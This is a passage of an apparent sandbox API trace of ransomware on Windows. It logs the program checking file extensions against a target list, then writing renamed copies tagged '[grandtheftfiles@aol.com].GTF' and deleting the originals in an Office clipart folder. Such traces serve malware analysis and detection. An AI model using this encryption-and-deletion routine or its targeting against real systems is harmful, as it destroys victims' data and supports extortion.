	[0083.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.293] lstrlenW (lpString=".1cd") returned 4
	[0083.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0083.293] lstrlenW (lpString=".jpg") returned 4
	[0083.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.294] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.294] lstrlenW (lpString="BD20013_.WMF") returned 12
	[0083.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.294] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=11058) returned 1
	[0083.294] CloseHandle (hObject=0x31c) returned 1
	[0083.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220
	[0083.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.295] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.295] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.295] GetLastError () returned 0x0
	[0083.295] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x2b32, lpOverlapped=0x0) returned 1
	[0083.297] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2b40, lpOverlapped=0x0) returned 1
	[0083.298] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.298] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.298] SetEndOfFile (hFile=0x378) returned 1
	[0083.299] CloseHandle (hObject=0x378) returned 1
	[0083.299] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.300] SetEndOfFile (hFile=0x31c) returned 1
	[0083.300] CloseHandle (hObject=0x31c) returned 1
	[0083.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1
	[0083.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.301] lstrlenW (lpString=".doc") returned 4
	[0083.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.301] lstrlenW (lpString=".docx") returned 5
	[0083.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.302] lstrlenW (lpString=".pdf") returned 4
	[0083.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString=".xls") returned 4
	[0083.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.302] lstrlenW (lpString=".xlsx") returned 5
	[0083.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.302] lstrlenW (lpString=".ppt") returned 4
	[0083.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.302] lstrlenW (lpString=".zip") returned 4
	[0083.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.302] lstrlenW (lpString=".rar") returned 4
	[0083.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString=".bz2") returned 4
	[0083.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString=".7z") returned 3
	[0083.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.302] lstrlenW (lpString=".dbf") returned 4
	[0083.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.302] lstrlenW (lpString=".1cd") returned 4
	[0083.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.302] lstrlenW (lpString=".jpg") returned 4
	[0083.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.302] lstrlenW (lpString=".doc") returned 4
	[0083.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.302] lstrlenW (lpString=".docx") returned 5
	[0083.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.302] lstrlenW (lpString=".pdf") returned 4
	[0083.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.303] lstrlenW (lpString=".xls") returned 4
	[0083.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.303] lstrlenW (lpString=".xlsx") returned 5
	[0083.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.303] lstrlenW (lpString=".ppt") returned 4
	[0083.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.303] lstrlenW (lpString=".zip") returned 4
	[0083.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.303] lstrlenW (lpString=".rar") returned 4
	[0083.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.303] lstrlenW (lpString=".bz2") returned 4
	[0083.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.303] lstrlenW (lpString=".7z") returned 3
	[0083.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.303] lstrlenW (lpString=".dbf") returned 4
	[0083.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.303] lstrlenW (lpString=".1cd") returned 4
	[0083.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0083.303] lstrlenW (lpString=".jpg") returned 4
	[0083.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.303] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.303] lstrlenW (lpString="BL00008_.WMF") returned 12
	[0083.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.304] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=12520) returned 1
	[0083.304] CloseHandle (hObject=0x31c) returned 1
	[0083.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220
	[0083.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.304] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.304] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.305] GetLastError () returned 0x0
	[0083.305] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x30e8, lpOverlapped=0x0) returned 1
	[0083.314] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x30f0, lpOverlapped=0x0) returned 1
	[0083.315] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.315] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.315] SetEndOfFile (hFile=0x378) returned 1
	[0083.315] CloseHandle (hObject=0x378) returned 1
	[0083.316] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.316] SetEndOfFile (hFile=0x31c) returned 1
	[0083.318] CloseHandle (hObject=0x31c) returned 1
	[0083.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.318] lstrlenW (lpString=".doc") returned 4
	[0083.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.318] lstrlenW (lpString=".docx") returned 5
	[0083.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.318] lstrlenW (lpString=".pdf") returned 4
	[0083.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.318] lstrlenW (lpString=".xls") returned 4
	[0083.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.318] lstrlenW (lpString=".xlsx") returned 5
	[0083.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.318] lstrlenW (lpString=".ppt") returned 4
	[0083.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.319] lstrlenW (lpString=".zip") returned 4
	[0083.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.319] lstrlenW (lpString=".rar") returned 4
	[0083.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString=".bz2") returned 4
	[0083.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString=".7z") returned 3
	[0083.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.319] lstrlenW (lpString=".dbf") returned 4
	[0083.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.319] lstrlenW (lpString=".1cd") returned 4
	[0083.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.319] lstrlenW (lpString=".jpg") returned 4
	[0083.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.319] lstrlenW (lpString=".doc") returned 4
	[0083.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString=".docx") returned 5
	[0083.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.319] lstrlenW (lpString=".pdf") returned 4
	[0083.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString=".xls") returned 4
	[0083.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.319] lstrlenW (lpString=".xlsx") returned 5
	[0083.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.319] lstrlenW (lpString=".ppt") returned 4
	[0083.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.319] lstrlenW (lpString=".zip") returned 4
	[0083.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.320] lstrlenW (lpString=".rar") returned 4
	[0083.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.320] lstrlenW (lpString=".bz2") returned 4
	[0083.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.320] lstrlenW (lpString=".7z") returned 3
	[0083.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.320] lstrlenW (lpString=".dbf") returned 4
	[0083.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.320] lstrlenW (lpString=".1cd") returned 4
	[0083.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0083.320] lstrlenW (lpString=".jpg") returned 4
	[0083.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.320] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.320] lstrlenW (lpString="BL00045_.WMF") returned 12
	[0083.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.320] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7862) returned 1
	[0083.320] CloseHandle (hObject=0x31c) returned 1
	[0083.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220
	[0083.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.321] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.321] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.321] GetLastError () returned 0x0
	[0083.321] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1eb6, lpOverlapped=0x0) returned 1
	[0083.651] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1ec0, lpOverlapped=0x0) returned 1
	[0083.652] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.652] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.652] SetEndOfFile (hFile=0x378) returned 1
	[0083.652] CloseHandle (hObject=0x378) returned 1
	[0083.653] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.653] SetEndOfFile (hFile=0x31c) returned 1
	[0083.654] CloseHandle (hObject=0x31c) returned 1
	[0083.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1
	[0083.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.760] lstrlenW (lpString=".doc") returned 4
	[0083.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.760] lstrlenW (lpString=".docx") returned 5
	[0083.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.760] lstrlenW (lpString=".pdf") returned 4
	[0083.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.760] lstrlenW (lpString=".xls") returned 4
	[0083.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.760] lstrlenW (lpString=".xlsx") returned 5
	[0083.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.760] lstrlenW (lpString=".ppt") returned 4
	[0083.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.760] lstrlenW (lpString=".zip") returned 4
	[0083.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.761] lstrlenW (lpString=".rar") returned 4
	[0083.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString=".bz2") returned 4
	[0083.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString=".7z") returned 3
	[0083.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.761] lstrlenW (lpString=".dbf") returned 4
	[0083.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.761] lstrlenW (lpString=".1cd") returned 4
	[0083.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.761] lstrlenW (lpString=".jpg") returned 4
	[0083.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.761] lstrlenW (lpString=".doc") returned 4
	[0083.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString=".docx") returned 5
	[0083.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.761] lstrlenW (lpString=".pdf") returned 4
	[0083.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString=".xls") returned 4
	[0083.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.761] lstrlenW (lpString=".xlsx") returned 5
	[0083.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.761] lstrlenW (lpString=".ppt") returned 4
	[0083.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.761] lstrlenW (lpString=".zip") returned 4
	[0083.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.761] lstrlenW (lpString=".rar") returned 4
	[0083.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.761] lstrlenW (lpString=".bz2") returned 4
	[0083.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.762] lstrlenW (lpString=".7z") returned 3
	[0083.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
